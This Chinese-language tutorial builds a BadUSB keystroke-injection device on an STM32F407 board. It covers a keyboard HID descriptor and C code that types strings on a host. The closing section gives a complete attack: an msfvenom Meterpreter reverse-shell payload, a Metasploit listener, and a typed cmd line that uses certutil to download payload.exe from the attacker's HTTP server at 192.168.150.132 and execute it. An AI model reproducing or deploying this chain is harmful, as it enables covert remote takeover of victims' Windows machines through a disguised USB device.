什么是 BadUSB?
近期拿出吃灰的 stm32f407 开发板,研究学习一下 hid 设备的开发,来实现一个低成本的 badusb,本文使用开发板来进行测试,当然有条件的小伙伴还可以进行 PCB 打样,打印外壳来实现一个仿真度相对高的 badusb。
BadUSB 是一种伪装 USB HID 设备的攻击,hid 设备是直接与人交互的设备,例如键盘、鼠标及游戏手柄等。不过 HID 设备并不一定要有人机接口,只要符合 HID 类别规范的设备都是 HID 设备。一般 HID 的攻击主要集中在鼠标键盘上,因为只要伪装成了用户交互设备,基本上就可以和用户的电脑进行交互,从而达到攻击的目的,而这一过程都是模拟人工操作,所以对于杀软来说就没办法进行查杀。应对这一攻击最有效的方法就是不要随意插入未知、不受信任的 USB 设备。
github:https://github.com/Pa2sw0rd/stm32_keyboard_badusb
环境准备(STM32CubeMX + HAL 库)
- STM32F407ZGT6
- stm32cubeMX
- vscode
- arm-gcc 交叉编译器
- jlink 调试器
初始化工程文件
本文采用 HAL 库开发,使用 stm32cubeMX 来生成一个基本工程项目文件。
这里使用普遍的 USB2.0 全速模式(FS),首先在 System Core-RCC 中配置为外部时钟。

Connectivity-USB_OTG_FS 中配置 Mode 为 Device_Only。

在 Middleware-USB_DEVICE 中配置 Class For FS IP 为 HID 设备,可在配置项修改 vip、pid、描述字符串等。

FS 的最大速率在 12Mbps,USB 的系统时钟要求是传输速率的四倍,因此 USB 的系统时钟要配置为 48Mhz,这里使用外部晶振通过倍频得到,小伙伴们可以参考下图的时钟树配置(注意自己芯片的外部晶振频率)。

至此,基本的一个 USB 工程配置完毕,根据自己的环境生成相应的工程文件即可,这里稍微增大了堆栈内存。

HID 描述符配置
项目生成之后需要修改 HID 描述符,cubeMX 默认生成的是鼠标设备,需要修改成键盘的描述符,报告描述符相当于 HID 设备的属性表。修改 Middlewares\ST\STM32_USB_Device_Library\Class\HID\Src\usbd_hid.c 中的 HID_MOUSE_ReportDesc 为键盘描述符,顺便修改数组大小常量 HID_MOUSE_REPORT_DESC_SIZE 为 63。
__ALIGN_BEGIN static uint8_t HID_MOUSE_ReportDesc[HID_MOUSE_REPORT_DESC_SIZE] __ALIGN_END =
{
0x05, 0x01,// USAGE_PAGE (Generic Desktop)
0x09, 0x06,// USAGE (Keyboard)
0xa1, 0x01,// COLLECTION (Application)
0x05, 0x07,// USAGE_PAGE (Keyboard)
0x19, 0xe0,// USAGE_MINIMUM (Keyboard LeftControl)
0x29, 0xe7,// USAGE_MAXIMUM (Keyboard Right GUI)
0x15, 0x00,// LOGICAL_MINIMUM (0)
0x25, 0x01,// LOGICAL_MAXIMUM (1)
0x75, 0x01,// REPORT_SIZE (1)
0x95, 0x08,// REPORT_COUNT (8)
0x81, 0x02,// INPUT (Data,Var,Abs)
0x95, 0x01,// REPORT_COUNT (1)
0x75, 0x08,// REPORT_SIZE (8)
0x81, 0x03,// INPUT (Cnst,Var,Abs)
0x95, 0x05,// REPORT_COUNT (5)
0x75, 0x01,// REPORT_SIZE (1)
0x05, 0x08,// USAGE_PAGE (LEDs)
0x19, 0x01,// USAGE_MINIMUM (Num Lock)
0x29, 0x05,// USAGE_MAXIMUM (Kana)
0x91, 0x02,// OUTPUT (Data,Var,Abs)
0x95, 0x01,// REPORT_COUNT (1)
0x75, 0x03,// REPORT_SIZE (3)
0x91, 0x03,// OUTPUT (Cnst,Var,Abs)
0x95, 0x06,// REPORT_COUNT (6)
0x75, 0x08,// REPORT_SIZE (8)
0x15, 0x00,// LOGICAL_MINIMUM (0)
0x25, 0xFF,// LOGICAL_MAXIMUM (255)
0x05, 0x07,// USAGE_PAGE (Keyboard)
0x19, 0x00,// USAGE_MINIMUM (Reserved (no event indicated))
0x29, 0x65,// USAGE_MAXIMUM (Keyboard Application)
0x81, 0x00,// INPUT (Data,Ary,Abs)
0xc0
};
修改 USBD_HID_CfgDesc 数组中的鼠标为键盘。

按键数据报文处理封装
上面的 hid 描述符决定了按键数据的报文格式,一个报文数据为 8 个字节,其具体意思可以描述为:
> BYTE1 -- 特殊按键
>
> |--bit0: Left Control 是否按下,按下为 1
>
> |--bit1: Left Shift 是否按下,按下为 1
>
> |--bit2: Left Alt 是否按下,按下为 1
>
> |--bit3: Left GUI(Windows 键)是否按下,按下为 1
>
> |--bit4: Right Control 是否按下,按下为 1
>
> |--bit5: Right Shift 是否按下,按下为 1
>
> |--bit6: Right Alt 是否按下,按下为 1
>
> |--bit7: Right GUI 是否按下,按下为 1
>
> BYTE2 -- 暂不清楚,有的地方说是保留位
>
> BYTE3--BYTE8 -- 这六个为普通按键
第一个字节为四个功能键,只有六个字节是普通按键,也就是说,我们一次可以操作六个普通按键,可能也就是所谓的六键无冲。具体六个按键的键值可以参考 usb 官方文档 ,发现其键值和 ASCII 没啥联系,不可能写脚本的时候查表叭~~~ 所以这里就要自己封装一下,但好在其字母及数字部分是连续的,我们可以计算键值和 ASCII 的偏移来直接转码,不过特殊字符得手动处理一下喽,下面直接贴出代码,已实现常见需求,优化空间很大,小伙伴们可以自己优化一下呦~
- key_parse.h
#ifndef __KEY_PARSE_H
#define __KEY_PARSE_H
#define KEY_CONTROL 0x80>>3
#define KEY_SHIFT 0x80>>2
#define KEY_ALT 0X80>>1
#define KEY_WIN 0X80>>0
#define KEY_NULL 0x00 // NULL
#define KEY_ENTER 0x28 // ENTER
#define KEY_ESC 0x29 // ESC
#define KEY_BACKSPACE 0x2A // BACKSPACE
#define KEY_TAB 0x2B // TAB
#define KEY_F1 0x3A
#define KEY_F2 0x3B
#define KEY_F3 0x3C
#define KEY_F4 0x3D
#define KEY_F5 0x3E
#define KEY_F6 0x3F
#define KEY_F7 0x40
#define KEY_F8 0x41
#define KEY_F9 0x42
#define KEY_F10 0x43
#define KEY_F11 0x44
#define KEY_F12 0x45
#define KEY_PRT_SCR 0x46
#define KEY_SCOLL_LOCK 0x47
#define KEY_PAUSE 0x48
#define KEY_INS 0x49
#define KEY_HOME 0x4A
#define KEY_PAGEUP 0x4B
#define KEY_DEL 0x4C
#define KEY_END 0x4D
#define KEY_PAGEDOWN 0x4E
#define KEY_RIGHT_ARROW 0x4F
#define KEY_LEFT_ARROW 0x50
#define KEY_DOWN_ARROW 0x51
#define KEY_UP_ARROW 0x52
#define KEY_DELAY 25//HID 发送延时
static unsigned char key_data[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};//hid 发送缓冲数据
unsigned char ascii_to_key(unsigned char ascii);// 转字母数字到一级字符,非一级字符返回 0 到 parse_key 处理
unsigned char parse_key(unsigned char key);// 转二级字符(需按 shift 的字符)void key_print(unsigned char *string);// 键盘输出字符串
void key_press(unsigned char key);// 按下功能键
void key_unpress(void);// 弹起功能键
void key_unpress_all(void);// 弹起所有键
void pressFunction(unsigned char key);// 按下特殊键
#endif
- key_parse.c
#include "usbd_hid.h"
#include "usb_device.h"
#include "key_parse.h"
extern USBD_HandleTypeDef hUsbDeviceFS;
unsigned char ascii_to_key(unsigned char ascii){if(32<=ascii&&ascii<=126){if(0x41<=ascii&&ascii<=0x5a){// 大写字母
return ascii-0x3d;
}
if(0x61<=ascii&&ascii<=0x7a){// 小写字母
return ascii-0x5d;
}
if(0x30<=ascii&&ascii<=0x39){// 数字
if(ascii==0x30) return 0x27;
return ascii-0x13;
}
switch (ascii)
{
case '-':return 0x2d;
case '=':return 0x2e;
case '[':return 0x2f;
case ']':return 0x30;
case ';':return 0x33;
case 0x27:return 0x34;
case 0x5c:return 0x31;
case ',':return 0x36;
case '.':return 0x37;
case '/':return 0x38;
case ' ':return KEY_SPACE;
default:return 0;
}
}else{return 0;}
return 0;
}
unsigned char parse_key(unsigned char key){//unsigned char temp=ascii_to_key(key);
switch (key)
{case '!':return ascii_to_key('1');break;
case '@':return ascii_to_key('2');break;
case '#':return ascii_to_key('3');break;
case '$':return ascii_to_key('4');break;
case '%':return ascii_to_key('5');break;
case '^':return ascii_to_key('6');break;
case '&':return ascii_to_key('7');break;
case '*':return ascii_to_key('8');break;
case '(':return ascii_to_key('9');break;
case ')':return ascii_to_key('0');break;
case '_':return ascii_to_key('-');break;
case '+':return ascii_to_key('=');break;
case '{':return ascii_to_key('[');break;
case '}':return ascii_to_key(']');break;
case ':':return ascii_to_key(';');break;
case '"':return ascii_to_key(0x27);break;
case '|':return ascii_to_key(0x5c);break;
case '<':return ascii_to_key(',');break;
case '>':return ascii_to_key('.');break;
case '?':return ascii_to_key('/');break;
default:return key;
}
return key;
}
void key_print(unsigned char *string){
/*
输出字符
*/
unsigned int i,j,nextKey,temp;
i=0;
j=0;
while(string[i]!='\0'){temp=ascii_to_key(string[i]);
nextKey=ascii_to_key(string[i+1]);
if(temp){key_data[2+j]=temp;
j++;
if(j==6){
j=0;
USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
HAL_Delay(KEY_DELAY);
key_unpress_all();
HAL_Delay(KEY_DELAY);
}else if(!nextKey||parse_key(nextKey)==temp){
j=0;
USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
HAL_Delay(KEY_DELAY);
key_unpress_all();
HAL_Delay(KEY_DELAY);
}
}else{temp=parse_key(string[i]);
key_data[2+0]=temp;
j++;
if(j==6){
j=0;
key_data[0]=KEY_SHIFT;
USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
HAL_Delay(KEY_DELAY);
key_unpress_all();
HAL_Delay(KEY_DELAY);
}else if(nextKey||nextKey==temp){
j=0;
key_data[0]=KEY_SHIFT;
USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
HAL_Delay(KEY_DELAY);
key_unpress_all();
HAL_Delay(KEY_DELAY);
}
}
i++;
//if(string[i]=='\0') return;
}
}
void key_press(unsigned char key){
/*
按下功能键盘
*/
key_data[0]=key;
USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
HAL_Delay(KEY_DELAY);
}
void key_unpress(void){
/*
弹起功能键盘
*/
key_data[0]=0x00;
USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
}
void key_unpress_all(void){
/*
弹起所有键
*/
for(unsigned char i=0;i<8;i++){key_data[i]=0x00;
}
USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
}
void pressFunction(unsigned char key){key_data[2]=key;
USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
HAL_Delay(KEY_DELAY);
key_unpress_all();
HAL_Delay(KEY_DELAY);
}
MSF 反弹 shell
这里仅作为 badusb 反弹测试,不做免杀,直接生成 exe(端口默认)。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.132 -f exe -o payload.exe
msf 建立监听(端口默认)。
use exploit/multi/handler
set payload payload/windows/meterpreter/reverse_tcp
run
使用 python3 起一个 HTTP 服务器来下载后门文件。
python -m http.server
外设等初始化之后执行我们的脚本。
HAL_Delay(2000);// 延时两秒
key_press(KEY_WIN);// 按下 win 键
key_print(“r”);// 按下 R 键
HAL_Delay(20);// 延时 20 毫秒
key_print(“cmd /c cd c:/users/admin&certutil.exe -urlcache -split -f http://192.168.150.132:8000/payload.exe&payload.exe”);// 输入字符串
pressFunction(KEY_ENTER);// 按下回车
HAL_Delay(1000);// 延时一秒
key_press(KEY_ALT);// 按下 alt 键
pressFunction(KEY_F4);// 按下 F4
key_unpress_all();// 避免给正常键盘造成影响,弹起所有按键